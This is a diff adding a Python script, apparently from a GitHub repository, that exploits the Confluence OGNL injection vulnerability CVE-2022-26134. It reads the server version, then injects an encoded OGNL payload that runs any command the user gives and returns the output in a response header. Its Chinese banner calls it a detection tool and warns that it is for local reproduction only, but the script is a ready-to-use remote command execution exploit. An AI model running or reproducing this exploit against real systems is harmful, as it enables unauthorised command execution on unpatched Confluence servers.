CVE-2022-26134

CVE-2022-26134/CVE-2022-26134.py

@@ -0,0 +1,76 @@
+# -*- encoding: utf-8 -*-
+# Time: 2022/06/05 09:26:42
+# Author: crow 
+
+import requests
+import re 
+import sys
+requests.packages.urllib3.disable_warnings()
+
+def title():
+    print('+-----------------------------------------------')
+    print('[+]  \033[34mGithub : https://github.com/crow821/                                \033[0m')
+    print('[+]  \033[34m公众号 : 乌鸦安全(crowsec)                                           \033[0m')
+    print('[+]  \033[34m功  能: Confluence OGNL 注入漏洞（CVE-2022-26134）检测                 \033[0m')
+    print('[+]  \033[36m使用格式:  python3 CVE-2022-26134.py url command                      \033[0m')
+    print('[+]  \033[31m警告: 漏洞仅限本地复现使用,请遵守网络安全法律法规,违者使用与本程序开发者无关    \033[0m')
+    print('[+]  \033[31m警告: 漏洞仅限本地复现使用,请遵守网络安全法律法规,违者使用与本程序开发者无关    \033[0m')
+    print('[+]  \033[31m警告: 漏洞仅限本地复现使用,请遵守网络安全法律法规,违者使用与本程序开发者无关    \033[0m')
+
+    print('+-------------------------------------------------')
+
+
+
+def Version(host):
+    '''
+    版本信息
+    id='footer-build-information'>7.13.0</span>
+    '''
+
+    res = requests.get("{}/login.action".format(host), verify=False, timeout=10)
+    if res.status_code == 200:
+        res_version = re.findall("id='footer-build-information'>(.*?)</span>", res.text)
+        if res_version != []:
+            print('[+] info\033[31m current Confluence version: {}\033[0m'.format(res_version[0]))       
+        else:
+            print("[-] info get version ERROR")
+    else:
+        print("[-] info Invalid link...")
+
+
+
+
+def Confluence_command(host, command):
+
+    payload = "%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22{}%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D".format(command)
+    res_command = requests.get("{}/{}/".format(host, payload), verify=False, allow_redirects=False)
+    try:
+      if res_command.status_code == 302:
+          print('[+] info\033[31m ' + res_command.headers["X-Cmd-Response"] + '\033[0m') 
+      else:
+          print("[-] info: This link is not vulnerable.")
+    except Exception as e:
+      print("[-] info: This link is not vulnerable")
+
+
+
+
+
+if __name__ == '__main__':
+    title()
+    if len(sys.argv) < 3:
+        print('[+]  \033[36mplease input your url and command\033[0m')
+        print('[+]  \033[36mfor example: https:127.0.0.1   whoami \033[0m')
+        print('[+]  \033[36mfor example: https:127.0.0.1  id \033[0m')
+    elif len(sys.argv) == 3:
+        try:
+            host = sys.argv[1]
+            command = sys.argv[2]
+            Version(host)
+            Confluence_command(host, command)
+        except Exception as e:
+            print('[-] info ERROR')
+    else:
+        print('[+]  \033[36mplease input your url and command\033[0m')
+        print('[+]  \033[36mfor example: https:127.0.0.1/  whoami \033[0m')
+        print('[+]  \033[36mfor example: https:127.0.0.1/  id \033[0m')